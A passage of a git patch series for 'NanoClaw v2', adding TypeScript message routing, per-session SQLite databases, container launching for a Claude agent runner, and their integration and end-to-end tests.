BACKOFF_BASE_MS * Math.pow(2, msg.tries); + const backoffSec = Math.floor(backoffMs / 1000); + db.prepare(`UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`).run(msg.id); + log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); + } + } + + // 3. Handle recurrence for completed messages + const completedRecurring = db + .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") + .all() as Array<{ id: string; kind: string; content: string; recurrence: string; process_after: string | null; platform_id: string | null; channel_type: string | null; thread_id: string | null }>; + + for (const msg of completedRecurring) { + try { + // Dynamic import to avoid loading cron-parser at module level + const { CronExpressionParser } = await import('cron-parser'); + const interval = CronExpressionParser.parse(msg.recurrence); + const nextRun = interval.next().toISOString(); + const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + db.prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + + // Remove recurrence from the completed message so it doesn't spawn again + db.prepare("UPDATE messages_in SET recurrence = NULL WHERE id = ?").run(msg.id); + + log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); + } catch (err) { + log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); + } + } + } finally { + db.close(); + } +} diff --git a/src/index-v2.ts b/src/index-v2.ts new file mode 100644 index 0000000..07da575 --- /dev/null +++ b/src/index-v2.ts @@ -0,0 +1,49 @@ +/** + * NanoClaw v2 — main entry point. + * + * Thin orchestrator: init DB, run migrations, start delivery polls, start sweep. + * Channel adapters are started separately (Phase 4). + */ +import path from 'path'; + +import { DATA_DIR } from './config.js'; +import { initDb } from './db/connection.js'; +import { runMigrations } from './db/migrations/index.js'; +import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter } from './delivery.js'; +import { startHostSweep } from './host-sweep.js'; +import { log } from './log.js'; + +async function main(): Promise { + log.info('NanoClaw v2 starting'); + + // 1. Init central DB + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); + log.info('Central DB ready', { path: dbPath }); + + // 2. Container runtime + ensureContainerRuntimeRunning(); + cleanupOrphans(); + + // 3. Channel adapters (Phase 4 — placeholder) + // TODO: init channel adapters, set up delivery adapter + // setDeliveryAdapter({ deliver: async (...) => { ... } }); + + // 4. Start delivery polls + startActiveDeliveryPoll(); + startSweepDeliveryPoll(); + log.info('Delivery polls started'); + + // 5. Start host sweep + startHostSweep(); + log.info('Host sweep started'); + + log.info('NanoClaw v2 running'); +} + +main().catch((err) => { + log.fatal('Startup failed', { err }); + process.exit(1); +}); diff --git a/src/router-v2.ts b/src/router-v2.ts new file mode 100644 index 0000000..ee08d5e --- /dev/null +++ b/src/router-v2.ts @@ -0,0 +1,99 @@ +/** + * Inbound message routing for v2. + * + * Channel adapter event → resolve messaging group → resolve agent group + * → resolve/create session → write messages_in → wake container + */ +import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { log } from './log.js'; +import { resolveSession, writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner-v2.js'; +import { getSession } from './db/sessions.js'; +import type { MessagingGroupAgent } from './types-v2.js'; + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +export interface InboundEvent { + channelType: string; + platformId: string; + threadId: string | null; + message: { + id: string; + kind: 'chat' | 'chat-sdk'; + content: string; // JSON blob + timestamp: string; + }; +} + +/** + * Route an inbound message from a channel adapter to the correct session. + * Creates messaging group + session if they don't exist yet. + */ +export async function routeInbound(event: InboundEvent): Promise { + // 1. Resolve messaging group + let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + + if (!mg) { + // Auto-create messaging group (adapter already decided to forward this) + const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + mg = { + id: mgId, + channel_type: event.channelType, + platform_id: event.platformId, + name: null, + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), + }; + createMessagingGroup(mg); + log.info('Auto-created messaging group', { id: mgId, channelType: event.channelType, platformId: event.platformId }); + } + + // 2. Resolve agent group via messaging_group_agents + const agents = getMessagingGroupAgents(mg.id); + if (agents.length === 0) { + log.warn('No agent groups configured for messaging group', { messagingGroupId: mg.id, platformId: event.platformId }); + return; + } + + // Pick the best matching agent (highest priority, trigger matching in future) + const match = pickAgent(agents, event); + if (!match) { + log.debug('No agent matched for message', { messagingGroupId: mg.id }); + return; + } + + // 3. Resolve or create session + const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); + + // 4. Write message to session DB + writeSessionMessage(session.agent_group_id, session.id, { + id: event.message.id || generateId(), + kind: event.message.kind, + timestamp: event.message.timestamp, + platformId: event.platformId, + channelType: event.channelType, + threadId: event.threadId, + content: event.message.content, + }); + + log.info('Message routed', { sessionId: session.id, agentGroup: match.agent_group_id, kind: event.message.kind, created }); + + // 5. Wake container + const freshSession = getSession(session.id); + if (freshSession) { + await wakeContainer(freshSession); + } +} + +/** + * Pick the matching agent for an inbound event. + * Currently: highest priority agent. Future: trigger rule matching. + */ +function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { + // Agents are already ordered by priority DESC from the DB query + // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) + return agents[0] ?? null; +} diff --git a/src/session-manager.ts b/src/session-manager.ts new file mode 100644 index 0000000..ae07577 --- /dev/null +++ b/src/session-manager.ts @@ -0,0 +1,145 @@ +/** + * Session lifecycle management. + * Creates session folders + DBs, writes messages, manages container status. + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +import { DATA_DIR } from './config.js'; +import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; +import { log } from './log.js'; +import { SESSION_SCHEMA } from './db/schema.js'; +import type { Session } from './types-v2.js'; + +/** Root directory for all session data. */ +export function sessionsBaseDir(): string { + return path.join(DATA_DIR, 'v2-sessions'); +} + +/** Directory for a specific session: sessions/{agent_group_id}/{session_id}/ */ +export function sessionDir(agentGroupId: string, sessionId: string): string { + return path.join(sessionsBaseDir(), agentGroupId, sessionId); +} + +/** Path to a session's SQLite DB. */ +export function sessionDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'session.db'); +} + +function generateId(): string { + return `sess-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +/** + * Find or create a session for a messaging group + thread. + * Returns the session and whether it was newly created. + */ +export function resolveSession(agentGroupId: string, messagingGroupId: string, threadId: string | null, sessionMode: 'shared' | 'per-thread'): { session: Session; created: boolean } { + // For shared mode, look for any active session with this messaging group (threadId ignored) + // For per-thread mode, look for an active session with this specific thread + const lookupThreadId = sessionMode === 'shared' ? null : threadId; + const existing = findSession(messagingGroupId, lookupThreadId); + + if (existing) { + return { session: existing, created: false }; + } + + // Create new session + const id = generateId(); + const session: Session = { + id, + agent_group_id: agentGroupId, + messaging_group_id: messagingGroupId, + thread_id: lookupThreadId, + agent_provider: null, + status: 'active', + container_status: 'stopped', + last_active: null, + created_at: new Date().toISOString(), + }; + + createSession(session); + initSessionFolder(agentGroupId, id); + log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId }); + + return { session, created: true }; +} + +/** Create the session folder and initialize the session DB. */ +export function initSessionFolder(agentGroupId: string, sessionId: string): void { + const dir = sessionDir(agentGroupId, sessionId); + fs.mkdirSync(dir, { recursive: true }); + fs.mkdirSync(path.join(dir, 'outbox'), { recursive: true }); + + const dbPath = sessionDbPath(agentGroupId, sessionId); + if (!fs.existsSync(dbPath)) { + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + db.exec(SESSION_SCHEMA); + db.close(); + log.debug('Session DB created', { dbPath }); + } +} + +/** Write a message to a session's messages_in table. */ +export function writeSessionMessage(agentGroupId: string, sessionId: string, message: { + id: string; + kind: string; + timestamp: string; + platformId?: string | null; + channelType?: string | null; + threadId?: string | null; + content: string; + processAfter?: string | null; + recurrence?: string | null; +}): void { + const dbPath = sessionDbPath(agentGroupId, sessionId); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + + try { + db.prepare( + `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) + VALUES (@id, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, + ).run({ + id: message.id, + kind: message.kind, + timestamp: message.timestamp, + platformId: message.platformId ?? null, + channelType: message.channelType ?? null, + threadId: message.threadId ?? null, + content: message.content, + processAfter: message.processAfter ?? null, + recurrence: message.recurrence ?? null, + }); + } finally { + db.close(); + } + + // Update last_active + updateSession(sessionId, { last_active: new Date().toISOString() }); +} + +/** Open a session DB for reading (e.g., polling messages_out). */ +export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = sessionDbPath(agentGroupId, sessionId); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + return db; +} + +/** Mark a container as running for a session. */ +export function markContainerRunning(sessionId: string): void { + updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); +} + +/** Mark a container as idle for a session. */ +export function markContainerIdle(sessionId: string): void { + updateSession(sessionId, { container_status: 'idle' }); +} + +/** Mark a container as stopped for a session. */ +export function markContainerStopped(sessionId: string): void { + updateSession(sessionId, { container_status: 'stopped' }); +} From 8535875d0c75b73b79ce1e2b2e12e2366e9c6958 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:44:26 +0300 Subject: [PATCH 011/295] v2: add host core integration tests Tests for session manager (folder/DB creation, shared vs per-thread resolution, message writing), router (end-to-end routing, auto-create messaging groups), and delivery (undelivered message detection). Co-Authored-By: Claude Opus 4.6 (1M context) --- src/host-core.test.ts | 254 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 254 insertions(+) create mode 100644 src/host-core.test.ts diff --git a/src/host-core.test.ts b/src/host-core.test.ts new file mode 100644 index 0000000..9f38604 --- /dev/null +++ b/src/host-core.test.ts @@ -0,0 +1,254 @@ +/** + * Integration tests for the v2 host core. + * Tests routing, session creation, message writing, and delivery + * without spawning actual containers. + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; + +import { initTestDb, closeDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } from './db/index.js'; +import { resolveSession, writeSessionMessage, initSessionFolder, sessionDir, sessionDbPath, sessionsBaseDir } from './session-manager.js'; +import { getSession, findSession } from './db/sessions.js'; +import type { InboundEvent } from './router-v2.js'; + +// Mock container runner to prevent actual Docker spawning +vi.mock('./container-runner-v2.js', () => ({ + wakeContainer: vi.fn().mockResolvedValue(undefined), + resetContainerIdleTimer: vi.fn(), + isContainerRunning: vi.fn().mockReturnValue(false), + getActiveContainerCount: vi.fn().mockReturnValue(0), + killContainer: vi.fn(), +})); + +// Override DATA_DIR for tests +vi.mock('./config.js', async () => { + const actual = await vi.importActual('./config.js'); + return { ...actual, DATA_DIR: '/tmp/nanoclaw-test-host' }; +}); + +function now() { + return new Date().toISOString(); +} + +const TEST_DIR = '/tmp/nanoclaw-test-host'; + +beforeEach(() => { + // Clean test directory + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + + const db = initTestDb(); + runMigrations(db); +}); + +afterEach(() => { + closeDb(); + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +}); + +describe('session manager', () => { + beforeEach(() => { + createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + }); + + it('should create session folder and DB', () => { + initSessionFolder('ag-1', 'sess-test'); + const dir = sessionDir('ag-1', 'sess-test'); + expect(fs.existsSync(dir)).toBe(true); + expect(fs.existsSync(path.join(dir, 'outbox'))).toBe(true); + + const dbPath = sessionDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(dbPath)).toBe(true); + + // Verify session DB has the right tables + const db = new Database(dbPath); + const tables = db.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + const tableNames = tables.map((t) => t.name); + expect(tableNames).toContain('messages_in'); + expect(tableNames).toContain('messages_out'); + db.close(); + }); + + it('should resolve to existing session (shared mode)', () => { + const { session: s1, created: c1 } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(c1).toBe(true); + + const { session: s2, created: c2 } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(c2).toBe(false); + expect(s2.id).toBe(s1.id); + }); + + it('should create separate sessions per thread (per-thread mode)', () => { + const { session: s1 } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + const { session: s2 } = resolveSession('ag-1', 'mg-1', 'thread-2', 'per-thread'); + expect(s1.id).not.toBe(s2.id); + }); + + it('should reuse session for same thread', () => { + const { session: s1 } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + const { session: s2, created } = resolveSession('ag-1', 'mg-1', 'thread-1', 'per-thread'); + expect(created).toBe(false); + expect(s2.id).toBe(s1.id); + }); + + it('should write message to session DB', () => { + const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); + + writeSessionMessage('ag-1', session.id, { + id: 'msg-1', + kind: 'chat', + timestamp: now(), + platformId: 'chan-123', + channelType: 'discord', + threadId: null, + content: JSON.stringify({ sender: 'User', text: 'Hello' }), + }); + + // Read from the session DB + const dbPath = sessionDbPath('ag-1', session.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; kind: string; status: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(rows[0].id).toBe('msg-1'); + expect(rows[0].status).toBe('pending'); + expect(JSON.parse(rows[0].content).text).toBe('Hello'); + }); + + it('should update last_active on message write', () => { + const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); + expect(getSession(session.id)!.last_active).toBeNull(); + + writeSessionMessage('ag-1', session.id, { + id: 'msg-1', + kind: 'chat', + timestamp: now(), + content: JSON.stringify({ text: 'hi' }), + }); + + expect(getSession(session.id)!.last_active).not.toBeNull(); + }); +}); + +describe('router', () => { + beforeEach(() => { + createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + createMessagingGroupAgent({ id: 'mga-1', messaging_group_id: 'mg-1', agent_group_id: 'ag-1', trigger_rules: null, response_scope: 'all', session_mode: 'shared', priority: 0, created_at: now() }); + }); + + it('should route a message end-to-end', async () => { + const { routeInbound } = await import('./router-v2.js'); + const { wakeContainer } = await import('./container-runner-v2.js'); + + const event: InboundEvent = { + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { + id: 'msg-in-1', + kind: 'chat', + content: JSON.stringify({ sender: 'User', text: 'Hello agent!' }), + timestamp: now(), + }, + }; + + await routeInbound(event); + + // Verify session was created + const session = findSession('mg-1', null); + expect(session).toBeDefined(); + + // Verify message was written to session DB + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(JSON.parse(rows[0].content).text).toBe('Hello agent!'); + + // Verify container was woken + expect(wakeContainer).toHaveBeenCalled(); + }); + + it('should auto-create messaging group for unknown platform', async () => { + const { routeInbound } = await import('./router-v2.js'); + + // This platform ID isn't registered — but since there's no agent configured for it, + // it should create the messaging group but not route (no agents configured) + const event: InboundEvent = { + channelType: 'slack', + platformId: 'C-NEW-CHANNEL', + threadId: null, + message: { + id: 'msg-2', + kind: 'chat', + content: JSON.stringify({ sender: 'User', text: 'Hi' }), + timestamp: now(), + }, + }; + + await routeInbound(event); + + // Messaging group should be created + const { getMessagingGroupByPlatform } = await import('./db/messaging-groups.js'); + const mg = getMessagingGroupByPlatform('slack', 'C-NEW-CHANNEL'); + expect(mg).toBeDefined(); + }); + + it('should route multiple messages to the same session', async () => { + const { routeInbound } = await import('./router-v2.js'); + + await routeInbound({ + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { id: 'msg-a', kind: 'chat', content: JSON.stringify({ sender: 'A', text: 'First' }), timestamp: now() }, + }); + + await routeInbound({ + channelType: 'discord', + platformId: 'chan-123', + threadId: null, + message: { id: 'msg-b', kind: 'chat', content: JSON.stringify({ sender: 'B', text: 'Second' }), timestamp: now() }, + }); + + // Both should be in the same session + const session = findSession('mg-1', null); + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in ORDER BY timestamp').all(); + db.close(); + + expect(rows).toHaveLength(2); + }); +}); + +describe('delivery', () => { + it('should detect undelivered messages in session DB', () => { + createAgentGroup({ id: 'ag-1', name: 'Agent', folder: 'agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); + createMessagingGroup({ id: 'mg-test', channel_type: 'discord', platform_id: 'chan-test', name: 'Test', is_group: 0, admin_user_id: null, created_at: now() }); + + const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); + + // Write a response to the session DB (simulating what the agent-runner does) + const dbPath = sessionDbPath('ag-1', session.id); + const db = new Database(dbPath); + db.pragma('journal_mode = WAL'); + db.prepare( + `INSERT INTO messages_out (id, timestamp, delivered, kind, platform_id, channel_type, content) + VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, + ).run(JSON.stringify({ text: 'Agent response' })); + + const undelivered = db.prepare("SELECT * FROM messages_out WHERE delivered = 0").all() as Array<{ id: string; content: string }>; + db.close(); + + expect(undelivered).toHaveLength(1); + expect(JSON.parse(undelivered[0].content).text).toBe('Agent response'); + }); +}); From 03c4e3b6724c786b96a4b161df80c4c2f81b3f91 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:49:30 +0300 Subject: [PATCH 012/295] v2: fix container launch for v2 agent-runner MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Override entrypoint to compile and run index-v2.js (no stdin) - Add better-sqlite3 + @types to agent-runner dependencies - Exclude test files from agent-runner tsconfig (Docker build) - Add real e2e test script (host → container → Claude → session DB) Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/package.json | 2 + container/agent-runner/tsconfig.json | 2 +- scripts/test-v2-host.ts | 168 +++++++++++++++++++++++++++ src/container-runner-v2.ts | 51 ++++++-- 4 files changed, 211 insertions(+), 12 deletions(-) create mode 100644 scripts/test-v2-host.ts diff --git a/container/agent-runner/package.json b/container/agent-runner/package.json index 35ebc22..fd579b1 100644 --- a/container/agent-runner/package.json +++ b/container/agent-runner/package.json @@ -11,10 +11,12 @@ "dependencies": { "@anthropic-ai/claude-agent-sdk": "^0.2.92", "@modelcontextprotocol/sdk": "^1.12.1", + "better-sqlite3": "^11.10.0", "cron-parser": "^5.0.0", "zod": "^4.0.0" }, "devDependencies": { + "@types/better-sqlite3": "^7.6.12", "@types/node": "^22.10.7", "typescript": "^5.7.3" } diff --git a/container/agent-runner/tsconfig.json b/container/agent-runner/tsconfig.json index de6431e..d71b5ff 100644 --- a/container/agent-runner/tsconfig.json +++ b/container/agent-runner/tsconfig.json @@ -11,5 +11,5 @@ "declaration": true }, "include": ["src/**/*"], - "exclude": ["node_modules", "dist"] + "exclude": ["node_modules", "dist", "src/**/*.test.ts"] } diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts new file mode 100644 index 0000000..ee1ed7a --- /dev/null +++ b/scripts/test-v2-host.ts @@ -0,0 +1,168 @@ +/** + * Real end-to-end test of v2: host router → Docker container → agent-runner → delivery. + * + * 1. Init central DB with agent group + messaging group + wiring + * 2. Route an inbound message (creates session, writes messages_in, spawns container) + * 3. Container runs v2 agent-runner, polls session DB, queries Claude + * 4. Poll session DB for messages_out response + * + * Usage: npx tsx scripts/test-v2-host.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +const TEST_DIR = '/tmp/nanoclaw-v2-e2e'; +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// --- Step 1: Init central DB --- +console.log('\n=== Step 1: Init central DB ==='); + +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup } from '../src/db/agent-groups.js'; +import { createMessagingGroup, createMessagingGroupAgent } from '../src/db/messaging-groups.js'; + +const centralDb = initDb(path.join(TEST_DIR, 'v2.db')); +runMigrations(centralDb); + +// Create groups dir for agent folder mount +const groupsDir = path.resolve(process.cwd(), 'groups'); +const testGroupDir = path.join(groupsDir, 'test-agent-e2e'); +fs.mkdirSync(testGroupDir, { recursive: true }); +fs.writeFileSync(path.join(testGroupDir, 'CLAUDE.md'), '# Test Agent\nYou are a test agent. Be brief.\n'); + +createAgentGroup({ + id: 'ag-e2e', + name: 'E2E Test Agent', + folder: 'test-agent-e2e', + is_admin: 0, + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroup({ + id: 'mg-e2e', + channel_type: 'test', + platform_id: 'e2e-channel', + name: 'E2E Test Channel', + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroupAgent({ + id: 'mga-e2e', + messaging_group_id: 'mg-e2e', + agent_group_id: 'ag-e2e', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), +}); + +console.log('✓ Central DB initialized'); + +// --- Step 2: Route inbound message (spawns container) --- +console.log('\n=== Step 2: Route inbound message ==='); + +import { routeInbound } from '../src/router-v2.js'; +import { findSession } from '../src/db/sessions.js'; +import { sessionDbPath } from '../src/session-manager.js'; + +await routeInbound({ + channelType: 'test', + platformId: 'e2e-channel', + threadId: null, + message: { + id: 'msg-e2e-1', + kind: 'chat', + content: JSON.stringify({ + sender: 'Gavriel', + text: 'Say "E2E works!" and nothing else. Do not use any tools.', + }), + timestamp: new Date().toISOString(), + }, +}); + +const session = findSession('mg-e2e', null); +if (!session) { + console.log('✗ No session created!'); + process.exit(1); +} +console.log(`✓ Session: ${session.id}`); +console.log(`✓ Container status: ${session.container_status}`); + +const sessDbPath = sessionDbPath('ag-e2e', session.id); +console.log(`✓ Session DB: ${sessDbPath}`); + +// --- Step 3: Wait for response --- +console.log('\n=== Step 3: Waiting for Claude response... ==='); + +const startTime = Date.now(); +const TIMEOUT_MS = 120_000; + +const checkForResponse = (): boolean => { + try { + const db = new Database(sessDbPath, { readonly: true }); + const out = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + return out.length > 0; + } catch { + return false; + } +}; + +await new Promise((resolve) => { + const poll = () => { + if (checkForResponse()) { + resolve(); + return; + } + if (Date.now() - startTime > TIMEOUT_MS) { + console.log(`\n✗ Timed out after ${TIMEOUT_MS / 1000}s`); + printState(); + process.exit(1); + } + const elapsed = Math.floor((Date.now() - startTime) / 1000); + if (elapsed > 0 && elapsed % 10 === 0) { + process.stdout.write(` ${elapsed}s...`); + } + setTimeout(poll, 1000); + }; + poll(); +}); + +// --- Step 4: Print results --- +console.log('\n\n=== Results ==='); +printState(); + +// Clean up test group dir +fs.rmSync(testGroupDir, { recursive: true, force: true }); + +process.exit(0); + +function printState() { + try { + const db = new Database(sessDbPath, { readonly: true }); + const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + + console.log('\nmessages_in:'); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); + } + console.log('\nmessages_out:'); + for (const r of outRows) { + const content = JSON.parse(r.content as string); + console.log(` [${r.id}] kind=${r.kind}`); + console.log(` → ${content.text}`); + } + } catch (err) { + console.log(` (could not read session DB: ${err})`); + } +} diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index 79c49c8..9de0d62 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -14,7 +14,13 @@ import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContaine import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDbPath, sessionDir } from './session-manager.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDbPath, + sessionDir, +} from './session-manager.js'; import type { AgentGroup, Session } from './types-v2.js'; const onecli = new OneCLI({ url: ONECLI_URL }); @@ -146,13 +152,20 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { fs.mkdirSync(claudeDir, { recursive: true }); const settingsFile = path.join(claudeDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { - fs.writeFileSync(settingsFile, JSON.stringify({ - env: { - CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', - }, - }, null, 2) + '\n'); + fs.writeFileSync( + settingsFile, + JSON.stringify( + { + env: { + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, + null, + 2, + ) + '\n', + ); } // Sync container skills @@ -174,7 +187,10 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { if (fs.existsSync(agentRunnerSrc)) { const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); - const needsCopy = !fs.existsSync(groupRunnerDir) || !fs.existsSync(cachedIndex) || fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; + const needsCopy = + !fs.existsSync(groupRunnerDir) || + !fs.existsSync(cachedIndex) || + fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; if (needsCopy) { fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); } @@ -193,14 +209,24 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { // Additional mounts from container config const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; if (containerConfig.additionalMounts) { - const validated = validateAdditionalMounts(containerConfig.additionalMounts, agentGroup.name, !!agentGroup.is_admin); + const validated = validateAdditionalMounts( + containerConfig.additionalMounts, + agentGroup.name, + !!agentGroup.is_admin, + ); mounts.push(...validated); } return mounts; } -async function buildContainerArgs(mounts: VolumeMount[], containerName: string, session: Session, agentGroup: AgentGroup, agentIdentifier?: string): Promise { +async function buildContainerArgs( + mounts: VolumeMount[], + containerName: string, + session: Session, + agentGroup: AgentGroup, + agentIdentifier?: string, +): Promise { const args: string[] = ['run', '--rm', '--name', containerName]; // Environment @@ -234,7 +260,10 @@ async function buildContainerArgs(mounts: VolumeMount[], containerName: string, } } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) + args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); + args.push('-c', 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js'); return args; } From d35386a46edaf6103e198baf8e483d5a90121f43 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:59:08 +0300 Subject: [PATCH 013/295] style: apply prettier formatting to v2 source files Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner-v2.ts | 5 +- src/delivery.ts | 17 +++++- src/host-core.test.ts | 108 ++++++++++++++++++++++++++++++++----- src/host-sweep.ts | 21 ++++++-- src/router-v2.ts | 18 +++++-- src/session-manager.ts | 33 +++++++----- 6 files changed, 168 insertions(+), 34 deletions(-) diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index 9de0d62..dac9c4c 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -263,7 +263,10 @@ async function buildContainerArgs( // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); - args.push('-c', 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js'); + args.push( + '-c', + 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js', + ); return args; } diff --git a/src/delivery.ts b/src/delivery.ts index ea52e74..b66c9c2 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -15,7 +15,13 @@ const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; 